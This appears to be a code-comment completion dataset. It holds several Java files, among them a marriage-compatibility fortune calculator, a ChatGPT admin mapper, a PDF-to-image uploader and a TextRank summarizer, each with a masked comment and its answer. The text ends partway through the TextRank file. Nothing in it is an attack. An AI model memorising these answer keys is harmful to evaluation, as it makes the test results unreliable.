/* * To change this template, choose Tools | Templates * and open the template in the editor. */ package com.artw.almanac.luozhuangpaipan; /** * 吕才合婚算法 * * @author luozhuang 大师♂罗莊 */ public class luozhuanglvhehun { enum sex { man, woman; } public final String[] jiazhi = { "甲子", "乙丑", "丙寅", "丁卯", "戊辰", "己巳", "庚午", "辛未", "壬申", "癸酉", "甲戌", "乙亥", "丙子", "丁丑", "戊寅", "己卯", "庚辰", "辛巳", "壬午", "癸未", "甲申", "乙酉", "丙戌", "丁亥", "戊子", "己丑", "庚寅", "辛卯", "壬辰", "癸巳", "甲午", "乙未", "丙申", "丁酉", "戊戌", "己亥", "庚子", "辛丑", "壬寅", "癸卯", "甲辰", "乙巳", "丙午", "丁未", "戊申", "己酉", "庚戌", "辛亥", "壬子", "癸丑", "甲寅", "乙卯", "丙辰", "丁巳", "戊午", "己未", "庚申", "辛酉", "壬戌", "癸亥" }; //注意数组没有第5行和第5列 public final String[][] resultarray = { {"伏位", "绝命", "天医", "生气", "六煞", "祸害", "五鬼", "延年"}, {"绝命", "伏位", "祸害", "五鬼", "延年", "天医", "生气", "六煞"}, {"天医", "祸害", "伏位", "延年", "五鬼", "绝命", "六煞", "生气"}, {"生气", "五鬼", "延年", "伏位", "祸害", "六煞", "绝命", "天医"}, {"六煞", "延年", "五鬼", "祸害", "伏位", "生气", "天医", "绝命"}, {"祸害", "天医", "绝命", "六煞", "生气", "伏位", "延年", "五鬼"}, {"五鬼", "生气", "六煞", "绝命", "天医", "延年", "伏位", "祸害"}, {"延年", "六煞", "生气", "天医", "绝命", "五鬼", "祸害", "伏位"},}; public final String[][] numsix = { //干支,纳音,岁数,男,女 {"丙戌", "屋上土", "1", "3", "3"}, {"乙酉", "泉中水", "2", "4", "2"}, {"甲申", "泉中水", "3", "5", "1"}, {"癸未", "杨柳木", "4", "6", "9"}, {"壬午", "杨柳木", "5", "7", "8"}, {"辛巳", "白蜡金", "6", "8", "7"}, {"庚辰", "白蜡金", "7", "9", "6"}, {"己卯", "城墙土", "8", "1", "5"}, {"戊寅", "城墙土", "9", "2", "4"}, {"丁丑", "涧下水", "10", "3", "3"}, {"丙子", "涧下水", "11", "4", "2"}, {"乙亥", "山头火", "12", "5", "1"}, {"甲戌", "山头火", "13", "6", "9"}, {"癸酉", "剑锋金", "14", "7", "8"}, {"壬申", "剑锋金", "15", "8", "7"}, {"辛未", "路旁土", "16", "9", "6"}, {"庚午", "路旁土", "17", "1", "5"}, {"己巳", "大林木", "18", "2", "4"}, {"戊辰", "大林木", "19", "3", "3"}, {"丁卯", "炉中火", "20", "4", "2"}, {"丙寅", "炉中火", "21", "5", "1"}, {"乙丑", "海中金", "22", "6", "9"}, {"甲子", "海中金", "23", "7", "8"}, {"癸亥", "大海水", "24", "8", "7"}, {"壬戌", "大海水", "25", "9", "6"}, {"辛酉", "石榴木", "26", "1", "5"}, {"庚申", "石榴木", "27", "2", "4"}, {"己未", "天上火", "28", "3", "3"}, {"戊午", "天上火", "29", "4", "2"}, {"丁巳", "沙中土", "30", "5", "1"}, {"丙辰", "沙中土", "31", "6", "9"}, {"乙卯", "大溪水", "32", "7", "8"}, {"甲寅", "大溪水", "33", "8", "7"}, {"癸丑", "桑松木", "34", "9", "6"}, {"壬子", "桑松木", "35", "1", "5"}, {"辛亥", "钗钏金", "36", "2", "4"}, {"庚戌", "钗钏金", "37", "3", "3"}, {"己酉", "大驿土", "38", "4", "2"}, {"戊申", "大驿土", "39", "5", "1"}, {"丁未", "天河水", "40", "6", "9"}, {"丙午", "天河水", "41", "7", "8"}, {"乙巳", "佛灯火", "42", "8", "7"}, {"甲辰", "佛灯火", "43", "9", "6"}, {"癸卯", "金箔金", "44", "1", "5"}, {"壬寅", "金箔金", "45", "2", "4"}, {"辛丑", "壁上土", "46", "3", "3"}, {"庚子", "壁上土", "47", "4", "2"}, {"己亥", "平地木", "48", "5", "1"}, {"戊戌", "平地木", "49", "6", "9"}, {"丁酉", "山下火", "50", "7", "8"}, {"丙申", "山下火", "51", "8", "7"}, {"乙未", "沙中金", "52", "9", "6"}, {"甲午", "沙中金", "53", "1", "5"}, {"癸巳", "长流水", "54", "2", "4"}, {"壬辰", "长流水", "55", "3", "3"}, {"辛卯", "松柏木", "56", "4", "2"}, {"庚寅", "松柏木", "57", "5", "1"}, {"己丑", "霹雳火", "58", "6", "9"}, {"戊子", "霹雳火", "59", "7", "8"}, {"丁亥", "屋上土", "60", "8", "7"},}; /** * * @param man 男方年份字符串 * @param woman 女方年份字符串 * @return */ public String hehun(String man, String woman) { if (man.length() != 4 || woman.length() != 4) { return "输入不正确"; } return peihun(man, woman); } public String peihun(String manyear, String womanyear) { return peihun(getnumber(manyear), getnumber(womanyear)); } private String peihun(int manyear, int womanyear) { String mang = getnumsix(yearnumber(manyear), sex.man); String womang = getnumsix(yearnumber(womanyear), sex.woman); int man = getnumber(mang); int woman = getnumber(womang); //数组从0开始,而我们计算从1开始 man--; woman--; //注意数组没有第5行和第5列 if (man >= 5) { man--; } if (woman >= 5) { woman--; } //根据表格取结果 return resultarray[man][woman];//顺序一样的 } /** * * @param year 年份 * @param isman 男的么 * @return 返回宫挂数 */ public String getnumsix(String year, sex isman) { for (int i = 0; i < 60; i++) { if (year.equalsIgnoreCase(numsix[i][0])) { if (isman == sex.man) { return numsix[i][3]; } else { return numsix[i][4]; } } } return null; } /** * 字符串-》数字 * * @param year 字符串 * @return 字符串对应数字 * @throws NumberFormatException */ public int getnumber(String year) throws NumberFormatException { int yearnumber = Short.parseShort(year); return yearnumber; } /** * 年份取出年柱 * * @param year 年数 * @return 求的年份的干支 */ public String yearnumber(int year) { //1864年是甲子年,每隔六十年一个甲子 int idx = (Math.abs(year - 1864)) % 60; //没有过春节的话那么年还算上一年的,此处求的年份的干支 String result = jiazhi[idx]; return result; } /** * @param args the command line arguments */ public static void main(String[] args) { luozhuanglvhehun my = new luozhuanglvhehun(); String result = my.hehun("1947", "1853"); System.out.println(result); } }
2666fff/ChineseAlmanac
app/src/main/java/com/artw/almanac/luozhuangpaipan/luozhuanglvhehun.java
2,844
//根据表格取结果
line_comment
zh-cn
/* * To change this template, choose Tools | Templates * and open the template in the editor. */ package com.artw.almanac.luozhuangpaipan; /** * 吕才合婚算法 * * @author luozhuang 大师♂罗莊 */ public class luozhuanglvhehun { enum sex { man, woman; } public final String[] jiazhi = { "甲子", "乙丑", "丙寅", "丁卯", "戊辰", "己巳", "庚午", "辛未", "壬申", "癸酉", "甲戌", "乙亥", "丙子", "丁丑", "戊寅", "己卯", "庚辰", "辛巳", "壬午", "癸未", "甲申", "乙酉", "丙戌", "丁亥", "戊子", "己丑", "庚寅", "辛卯", "壬辰", "癸巳", "甲午", "乙未", "丙申", "丁酉", "戊戌", "己亥", "庚子", "辛丑", "壬寅", "癸卯", "甲辰", "乙巳", "丙午", "丁未", "戊申", "己酉", "庚戌", "辛亥", "壬子", "癸丑", "甲寅", "乙卯", "丙辰", "丁巳", "戊午", "己未", "庚申", "辛酉", "壬戌", "癸亥" }; //注意数组没有第5行和第5列 public final String[][] resultarray = { {"伏位", "绝命", "天医", "生气", "六煞", "祸害", "五鬼", "延年"}, {"绝命", "伏位", "祸害", "五鬼", "延年", "天医", "生气", "六煞"}, {"天医", "祸害", "伏位", "延年", "五鬼", "绝命", "六煞", "生气"}, {"生气", "五鬼", "延年", "伏位", "祸害", "六煞", "绝命", "天医"}, {"六煞", "延年", "五鬼", "祸害", "伏位", "生气", "天医", "绝命"}, {"祸害", "天医", "绝命", "六煞", "生气", "伏位", "延年", "五鬼"}, {"五鬼", "生气", "六煞", "绝命", "天医", "延年", "伏位", "祸害"}, {"延年", "六煞", "生气", "天医", "绝命", "五鬼", "祸害", "伏位"},}; public final String[][] numsix = { //干支,纳音,岁数,男,女 {"丙戌", "屋上土", "1", "3", "3"}, {"乙酉", "泉中水", "2", "4", "2"}, {"甲申", "泉中水", "3", "5", "1"}, {"癸未", "杨柳木", "4", "6", "9"}, {"壬午", "杨柳木", "5", "7", "8"}, {"辛巳", "白蜡金", "6", "8", "7"}, {"庚辰", "白蜡金", "7", "9", "6"}, {"己卯", "城墙土", "8", "1", "5"}, {"戊寅", "城墙土", "9", "2", "4"}, {"丁丑", "涧下水", "10", "3", "3"}, {"丙子", "涧下水", "11", "4", "2"}, {"乙亥", "山头火", "12", "5", "1"}, {"甲戌", "山头火", "13", "6", "9"}, {"癸酉", "剑锋金", "14", "7", "8"}, {"壬申", "剑锋金", "15", "8", "7"}, {"辛未", "路旁土", "16", "9", "6"}, {"庚午", "路旁土", "17", "1", "5"}, {"己巳", "大林木", "18", "2", "4"}, {"戊辰", "大林木", "19", "3", "3"}, {"丁卯", "炉中火", "20", "4", "2"}, {"丙寅", "炉中火", "21", "5", "1"}, {"乙丑", "海中金", "22", "6", "9"}, {"甲子", "海中金", "23", "7", "8"}, {"癸亥", "大海水", "24", "8", "7"}, {"壬戌", "大海水", "25", "9", "6"}, {"辛酉", "石榴木", "26", "1", "5"}, {"庚申", "石榴木", "27", "2", "4"}, {"己未", "天上火", "28", "3", "3"}, {"戊午", "天上火", "29", "4", "2"}, {"丁巳", "沙中土", "30", "5", "1"}, {"丙辰", "沙中土", "31", "6", "9"}, {"乙卯", "大溪水", "32", "7", "8"}, {"甲寅", "大溪水", "33", "8", "7"}, {"癸丑", "桑松木", "34", "9", "6"}, {"壬子", "桑松木", "35", "1", "5"}, {"辛亥", "钗钏金", "36", "2", "4"}, {"庚戌", "钗钏金", "37", "3", "3"}, {"己酉", "大驿土", "38", "4", "2"}, {"戊申", "大驿土", "39", "5", "1"}, {"丁未", "天河水", "40", "6", "9"}, {"丙午", "天河水", "41", "7", "8"}, {"乙巳", "佛灯火", "42", "8", "7"}, {"甲辰", "佛灯火", "43", "9", "6"}, {"癸卯", "金箔金", "44", "1", "5"}, {"壬寅", "金箔金", "45", "2", "4"}, {"辛丑", "壁上土", "46", "3", "3"}, {"庚子", "壁上土", "47", "4", "2"}, {"己亥", "平地木", "48", "5", "1"}, {"戊戌", "平地木", "49", "6", "9"}, {"丁酉", "山下火", "50", "7", "8"}, {"丙申", "山下火", "51", "8", "7"}, {"乙未", "沙中金", "52", "9", "6"}, {"甲午", "沙中金", "53", "1", "5"}, {"癸巳", "长流水", "54", "2", "4"}, {"壬辰", "长流水", "55", "3", "3"}, {"辛卯", "松柏木", "56", "4", "2"}, {"庚寅", "松柏木", "57", "5", "1"}, {"己丑", "霹雳火", "58", "6", "9"}, {"戊子", "霹雳火", "59", "7", "8"}, {"丁亥", "屋上土", "60", "8", "7"},}; /** * * @param man 男方年份字符串 * @param woman 女方年份字符串 * @return */ public String hehun(String man, String woman) { if (man.length() != 4 || woman.length() != 4) { return "输入不正确"; } return peihun(man, woman); } public String peihun(String manyear, String womanyear) { return peihun(getnumber(manyear), getnumber(womanyear)); } private String peihun(int manyear, int womanyear) { String mang = getnumsix(yearnumber(manyear), sex.man); String womang = getnumsix(yearnumber(womanyear), sex.woman); int man = getnumber(mang); int woman = getnumber(womang); //数组从0开始,而我们计算从1开始 man--; woman--; //注意数组没有第5行和第5列 if (man >= 5) { man--; } if (woman >= 5) { woman--; } //根据 <SUF> return resultarray[man][woman];//顺序一样的 } /** * * @param year 年份 * @param isman 男的么 * @return 返回宫挂数 */ public String getnumsix(String year, sex isman) { for (int i = 0; i < 60; i++) { if (year.equalsIgnoreCase(numsix[i][0])) { if (isman == sex.man) { return numsix[i][3]; } else { return numsix[i][4]; } } } return null; } /** * 字符串-》数字 * * @param year 字符串 * @return 字符串对应数字 * @throws NumberFormatException */ public int getnumber(String year) throws NumberFormatException { int yearnumber = Short.parseShort(year); return yearnumber; } /** * 年份取出年柱 * * @param year 年数 * @return 求的年份的干支 */ public String yearnumber(int year) { //1864年是甲子年,每隔六十年一个甲子 int idx = (Math.abs(year - 1864)) % 60; //没有过春节的话那么年还算上一年的,此处求的年份的干支 String result = jiazhi[idx]; return result; } /** * @param args the command line arguments */ public static void main(String[] args) { luozhuanglvhehun my = new luozhuanglvhehun(); String result = my.hehun("1947", "1853"); System.out.println(result); } }
0
2,503
5
2,844
6
2,706
5
2,844
6
3,461
8
false
false
false
false
false
true
44599_8
/* * Copyright (c) 2018-2028, Chill Zhuang All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * Neither the name of the dreamlu.net developer nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * Author: Chill 庄骞 (smallchill@163.com) */ package org.springblade.modules.mjkj.mapper; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.plugins.pagination.Page; import org.apache.ibatis.annotations.Param; import java.util.List; import java.util.Map; /** *后台相关 */ public interface MngMapper { /** * 聊天记录 * @return */ IPage<Map<String, Object>> getMessageHistoryList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 更多好玩-聊天记录 * @return */ IPage<Map<String, Object>> getMessageMoreFunHistoryList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 十牛 - 更多好玩-聊天记录 * @return */ IPage<Map<String, Object>> getShiniuMessageMoreFunHistoryList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 十牛 - 更多好玩-聊天记录2 * @param page * @param params * @return */ IPage getShiniuMessageMoreFunHistoryListTwo(Page page, Map<String, Object> params); /** * 获取用户列表 * @return */ IPage<Map<String, Object>> getWxUserList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); //获取最近三十天的数据-提问次数 List<Map<String,Object>> getMessageCouList(); //获取最近三十天的数据-注册人数 List<Map<String,Object>> getRegisterCouList(); //获取最近三十天的数据-使用人数 List<Map<String,Object>> getUseWuserCouList(); //获取最近三十天的数据-分享次数 List<Map<String,Object>> getShareCouList(); //获取最近三十天的数据-签到次数 List<Map<String,Object>> getSignCouList(); //获取最近三十天的数据-文件下载次数 List<Map<String,Object>> getFileCouList(); /** * 分享记录 * @return */ IPage<Map<String, Object>> getShareHistoryList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 消息次数详情 * @return */ IPage<Map<String, Object>> getNumLogList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 今日统计 * @return */ IPage<Map<String, Object>> getTodayCountList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 佣金记录 * @return */ IPage<Map<String, Object>> getCommissionLogList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 钱包记录 * @return */ IPage<Map<String, Object>> getWalletHistoryLogList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 订单列表 * @return */ IPage<Map<String, Object>> getOrderList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 绘图记录 * @return */ IPage<Map<String, Object>> getViewImageList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 绘图记录-待审核 * @return */ IPage<Map<String, Object>> getViewImageTodoList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); }
274056675/springboot-openai-chatgpt
chatgpt-boot/src/main/java/org/springblade/modules/mjkj/mapper/MngMapper.java
1,260
//获取最近三十天的数据-注册人数
line_comment
zh-cn
/* * Copyright (c) 2018-2028, Chill Zhuang All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * Neither the name of the dreamlu.net developer nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * Author: Chill 庄骞 (smallchill@163.com) */ package org.springblade.modules.mjkj.mapper; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.plugins.pagination.Page; import org.apache.ibatis.annotations.Param; import java.util.List; import java.util.Map; /** *后台相关 */ public interface MngMapper { /** * 聊天记录 * @return */ IPage<Map<String, Object>> getMessageHistoryList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 更多好玩-聊天记录 * @return */ IPage<Map<String, Object>> getMessageMoreFunHistoryList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 十牛 - 更多好玩-聊天记录 * @return */ IPage<Map<String, Object>> getShiniuMessageMoreFunHistoryList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 十牛 - 更多好玩-聊天记录2 * @param page * @param params * @return */ IPage getShiniuMessageMoreFunHistoryListTwo(Page page, Map<String, Object> params); /** * 获取用户列表 * @return */ IPage<Map<String, Object>> getWxUserList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); //获取最近三十天的数据-提问次数 List<Map<String,Object>> getMessageCouList(); //获取 <SUF> List<Map<String,Object>> getRegisterCouList(); //获取最近三十天的数据-使用人数 List<Map<String,Object>> getUseWuserCouList(); //获取最近三十天的数据-分享次数 List<Map<String,Object>> getShareCouList(); //获取最近三十天的数据-签到次数 List<Map<String,Object>> getSignCouList(); //获取最近三十天的数据-文件下载次数 List<Map<String,Object>> getFileCouList(); /** * 分享记录 * @return */ IPage<Map<String, Object>> getShareHistoryList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 消息次数详情 * @return */ IPage<Map<String, Object>> getNumLogList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 今日统计 * @return */ IPage<Map<String, Object>> getTodayCountList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 佣金记录 * @return */ IPage<Map<String, Object>> getCommissionLogList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 钱包记录 * @return */ IPage<Map<String, Object>> getWalletHistoryLogList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 订单列表 * @return */ IPage<Map<String, Object>> getOrderList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 绘图记录 * @return */ IPage<Map<String, Object>> getViewImageList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); /** * 绘图记录-待审核 * @return */ IPage<Map<String, Object>> getViewImageTodoList(@Param("page") IPage<Map<String, Object>> page, @Param("params") Map<String, Object> params); }
0
1,071
9
1,260
11
1,247
9
1,260
11
1,465
18
false
false
false
false
false
true
17399_22
package util; import core.util.Base64Util; import core.util.FileReader; import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.HttpException; import org.apache.commons.httpclient.HttpStatus; import org.apache.commons.httpclient.methods.PostMethod; import org.apache.pdfbox.pdmodel.PDDocument; import org.json.JSONObject; import javax.imageio.ImageIO; import java.awt.image.BufferedImage; import java.io.*; import java.util.*; import java.net.URL; public class PdfUtil { //多页pdf转1张图片 public static String pdf2multiImage(String pdfFile, String outpath) { try { URL url = new URL(pdfFile); InputStream is = url.openStream(); List<BufferedImage> piclist = new ArrayList<BufferedImage>(); PDDocument pdDocument = PDDocument.load(is); org.apache.pdfbox.rendering.PDFRenderer renderer = new org.apache.pdfbox.rendering.PDFRenderer(pdDocument); com.lowagie.text.pdf.PdfReader reader = new com.lowagie.text.pdf.PdfReader(pdfFile); BufferedImage image = null; for (int i = 0; i < reader.getNumberOfPages(); i++) { image = renderer.renderImageWithDPI(i, 144); // dpi越大转换后越清晰,相对转换速度越慢 piclist.add(image); } imageIOWrite(piclist, outpath); is.close(); } catch (Exception e) { e.printStackTrace(); } return outpath; } private static void imageIOWrite(List<BufferedImage> piclist, String outPath) { if (piclist == null || piclist.size() <= 0) { System.out.println("图片数组为空!"); return; } try { int height = 0, // 总高度 width = 0, // 总宽度 _height = 0, // 临时的高度 , 或保存偏移高度 __height = 0, // 临时的高度,主要保存每个高度 picNum = piclist.size();// 图片的数量 int[] heightArray = new int[picNum]; // 保存每个文件的高度 BufferedImage buffer = null; // 保存图片流 List<int[]> imgRGB = new ArrayList<int[]>(); // 保存所有的图片的RGB int[] _imgRGB; // 保存一张图片中的RGB数据 for (int i = 0; i < picNum; i++) { buffer = piclist.get(i); heightArray[i] = _height = buffer.getHeight();// 图片高度 if (i == 0) { width = buffer.getWidth();// 图片宽度 } height += _height; // 获取总高度 _imgRGB = new int[width * _height];// 从图片中读取RGB _imgRGB = buffer.getRGB(0, 0, width, _height, _imgRGB, 0, width); imgRGB.add(_imgRGB); } _height = 0; // 设置偏移高度为0 // 生成新图片 BufferedImage imageResult = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB); for (int i = 0; i < picNum; i++) { __height = heightArray[i]; if (i != 0) _height += __height; // 计算偏移高度 imageResult.setRGB(0, _height, width, __height, imgRGB.get(i), 0, width); // 写入流中 } File outFile = new File(outPath); ImageIO.write(imageResult, "jpg", outFile);// 写图片 imageResult.flush(); imgRGB = null; } catch (Exception e) { e.printStackTrace(); } } private static Map<String,Object> uploadSysFile(String url, String uploadUrl) { String httpUrl = null; int id=0; File file = null; Map<String,Object> rmap=null; file = new File(url); PostMethod filePost = new PostMethod(uploadUrl); FileReader fr = new FileReader(url); int status = -1; try { InputStream input = new FileInputStream(file); String strFileName = fr.getFileName(); String base64FileName = Base64Util.getBase64(strFileName); filePost.setRequestBody(input); filePost.setRequestHeader("FileName", base64FileName); filePost.setRequestHeader("Content-Type", "multipart/form-data;charset=utf-8"); filePost.setRequestHeader("Content-Length", String.valueOf(file.length())); HttpClient client = new HttpClient(); client.getHttpConnectionManager().getParams().setConnectionTimeout(5000); status = client.executeMethod(filePost); if (status == HttpStatus.SC_OK) { input.close(); deleteFile(url); rmap=new HashMap<String,Object>(); try { byte[] reSlt = null; reSlt = filePost.getResponseBody(); String strReSlt = new String(reSlt,"UTF-8"); JSONObject jo = new JSONObject(strReSlt); if (!jo.isNull("status") && jo.getBoolean("status")) { if (!jo.isNull("data")) { String strDate = jo.getString("data"); JSONObject date = new JSONObject(strDate); httpUrl = date.getString("SourceUrl"); id=date.getInt("Id"); rmap.put("id",id); rmap.put("url",httpUrl); return rmap; } } else { // 上传失败 System.out.println("上传失败"); } } catch (UnsupportedEncodingException u) { // u.printStackTrace(); System.out.println(u.getMessage()); } catch (IOException ioe) { // ioe.printStackTrace(); System.out.println(ioe.getMessage()); } catch (Exception e) { // e.printStackTrace(); System.out.println(e.getMessage()); } } else { // 上传失败 System.out.println("上传失败"); } } catch (HttpException e) { //发生致命的异常,可能是协议不对或者返回的内容有问题 e.printStackTrace(); } catch (IOException e) { //发生网络异常 e.printStackTrace(); } catch (Exception ex) { ex.printStackTrace(); } finally { filePost.releaseConnection(); } return null; } private static boolean deleteFile(String sPath) { System.out.println("删除文件开始"); boolean flag = false; File file = new File(sPath); // 路径为文件且不为空则进行删除 if (file.isFile() && file.exists()) { System.out.println("文件删除"); file.delete(); flag = true; } System.out.println("删除文件结束"); return flag; } public static void main(String args[]) { Map<String, Object> map = null; try { map = uploadSysFile(pdf2multiImage("C:\\Users\\Desktop\\aaa.pdf", "C:\\Users\\Desktop\\aaa.jpg"), Constants.getUploadUrl()); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.print(map.get("id").toString()); } }
280868756/canvasStamp
pdfUtil.java
1,893
//发生致命的异常,可能是协议不对或者返回的内容有问题
line_comment
zh-cn
package util; import core.util.Base64Util; import core.util.FileReader; import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.HttpException; import org.apache.commons.httpclient.HttpStatus; import org.apache.commons.httpclient.methods.PostMethod; import org.apache.pdfbox.pdmodel.PDDocument; import org.json.JSONObject; import javax.imageio.ImageIO; import java.awt.image.BufferedImage; import java.io.*; import java.util.*; import java.net.URL; public class PdfUtil { //多页pdf转1张图片 public static String pdf2multiImage(String pdfFile, String outpath) { try { URL url = new URL(pdfFile); InputStream is = url.openStream(); List<BufferedImage> piclist = new ArrayList<BufferedImage>(); PDDocument pdDocument = PDDocument.load(is); org.apache.pdfbox.rendering.PDFRenderer renderer = new org.apache.pdfbox.rendering.PDFRenderer(pdDocument); com.lowagie.text.pdf.PdfReader reader = new com.lowagie.text.pdf.PdfReader(pdfFile); BufferedImage image = null; for (int i = 0; i < reader.getNumberOfPages(); i++) { image = renderer.renderImageWithDPI(i, 144); // dpi越大转换后越清晰,相对转换速度越慢 piclist.add(image); } imageIOWrite(piclist, outpath); is.close(); } catch (Exception e) { e.printStackTrace(); } return outpath; } private static void imageIOWrite(List<BufferedImage> piclist, String outPath) { if (piclist == null || piclist.size() <= 0) { System.out.println("图片数组为空!"); return; } try { int height = 0, // 总高度 width = 0, // 总宽度 _height = 0, // 临时的高度 , 或保存偏移高度 __height = 0, // 临时的高度,主要保存每个高度 picNum = piclist.size();// 图片的数量 int[] heightArray = new int[picNum]; // 保存每个文件的高度 BufferedImage buffer = null; // 保存图片流 List<int[]> imgRGB = new ArrayList<int[]>(); // 保存所有的图片的RGB int[] _imgRGB; // 保存一张图片中的RGB数据 for (int i = 0; i < picNum; i++) { buffer = piclist.get(i); heightArray[i] = _height = buffer.getHeight();// 图片高度 if (i == 0) { width = buffer.getWidth();// 图片宽度 } height += _height; // 获取总高度 _imgRGB = new int[width * _height];// 从图片中读取RGB _imgRGB = buffer.getRGB(0, 0, width, _height, _imgRGB, 0, width); imgRGB.add(_imgRGB); } _height = 0; // 设置偏移高度为0 // 生成新图片 BufferedImage imageResult = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB); for (int i = 0; i < picNum; i++) { __height = heightArray[i]; if (i != 0) _height += __height; // 计算偏移高度 imageResult.setRGB(0, _height, width, __height, imgRGB.get(i), 0, width); // 写入流中 } File outFile = new File(outPath); ImageIO.write(imageResult, "jpg", outFile);// 写图片 imageResult.flush(); imgRGB = null; } catch (Exception e) { e.printStackTrace(); } } private static Map<String,Object> uploadSysFile(String url, String uploadUrl) { String httpUrl = null; int id=0; File file = null; Map<String,Object> rmap=null; file = new File(url); PostMethod filePost = new PostMethod(uploadUrl); FileReader fr = new FileReader(url); int status = -1; try { InputStream input = new FileInputStream(file); String strFileName = fr.getFileName(); String base64FileName = Base64Util.getBase64(strFileName); filePost.setRequestBody(input); filePost.setRequestHeader("FileName", base64FileName); filePost.setRequestHeader("Content-Type", "multipart/form-data;charset=utf-8"); filePost.setRequestHeader("Content-Length", String.valueOf(file.length())); HttpClient client = new HttpClient(); client.getHttpConnectionManager().getParams().setConnectionTimeout(5000); status = client.executeMethod(filePost); if (status == HttpStatus.SC_OK) { input.close(); deleteFile(url); rmap=new HashMap<String,Object>(); try { byte[] reSlt = null; reSlt = filePost.getResponseBody(); String strReSlt = new String(reSlt,"UTF-8"); JSONObject jo = new JSONObject(strReSlt); if (!jo.isNull("status") && jo.getBoolean("status")) { if (!jo.isNull("data")) { String strDate = jo.getString("data"); JSONObject date = new JSONObject(strDate); httpUrl = date.getString("SourceUrl"); id=date.getInt("Id"); rmap.put("id",id); rmap.put("url",httpUrl); return rmap; } } else { // 上传失败 System.out.println("上传失败"); } } catch (UnsupportedEncodingException u) { // u.printStackTrace(); System.out.println(u.getMessage()); } catch (IOException ioe) { // ioe.printStackTrace(); System.out.println(ioe.getMessage()); } catch (Exception e) { // e.printStackTrace(); System.out.println(e.getMessage()); } } else { // 上传失败 System.out.println("上传失败"); } } catch (HttpException e) { //发生 <SUF> e.printStackTrace(); } catch (IOException e) { //发生网络异常 e.printStackTrace(); } catch (Exception ex) { ex.printStackTrace(); } finally { filePost.releaseConnection(); } return null; } private static boolean deleteFile(String sPath) { System.out.println("删除文件开始"); boolean flag = false; File file = new File(sPath); // 路径为文件且不为空则进行删除 if (file.isFile() && file.exists()) { System.out.println("文件删除"); file.delete(); flag = true; } System.out.println("删除文件结束"); return flag; } public static void main(String args[]) { Map<String, Object> map = null; try { map = uploadSysFile(pdf2multiImage("C:\\Users\\Desktop\\aaa.pdf", "C:\\Users\\Desktop\\aaa.jpg"), Constants.getUploadUrl()); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.print(map.get("id").toString()); } }
0
1,601
13
1,893
17
1,874
13
1,893
17
2,475
34
false
false
false
false
false
true
34458_4
package com.textrank; import com.hankcs.hanlp.HanLP; import com.hankcs.hanlp.dictionary.stopword.CoreStopWordDictionary; import com.hankcs.hanlp.seg.common.Term; import java.util.*; /** * TextRank 自动摘要 * @author hankcs */ public class TextRankSummary { /** * 阻尼系数(DampingFactor),一般取值为0.85 */ final double d = 0.85f; /** * 最大迭代次数 */ final int max_iter = 200; final double min_diff = 0.001f; /** * 文档句子的个数 */ int D; /** * 拆分为[句子[单词]]形式的文档 */ List<List<String>> docs; /** * 排序后的最终结果 score <-> index */ TreeMap<Double, Integer> top; /** * 句子和其他句子的相关程度 */ double[][] weight; /** * 该句子和其他句子相关程度之和 */ double[] weight_sum; /** * 迭代之后收敛的权重 */ double[] vertex; /** * BM25相似度 */ BM25 bm25; public TextRankSummary(List<List<String>> docs) { this.docs = docs; bm25 = new BM25(docs); D = docs.size(); weight = new double[D][D]; weight_sum = new double[D]; vertex = new double[D]; top = new TreeMap<Double, Integer>(Collections.reverseOrder()); solve(); } private void solve() { int cnt = 0; for (List<String> sentence : docs) { double[] scores = bm25.simAll(sentence); // System.out.println(Arrays.toString(scores)); weight[cnt] = scores; weight_sum[cnt] = sum(scores) - scores[cnt]; // 减掉自己,自己跟自己肯定最相似 vertex[cnt] = 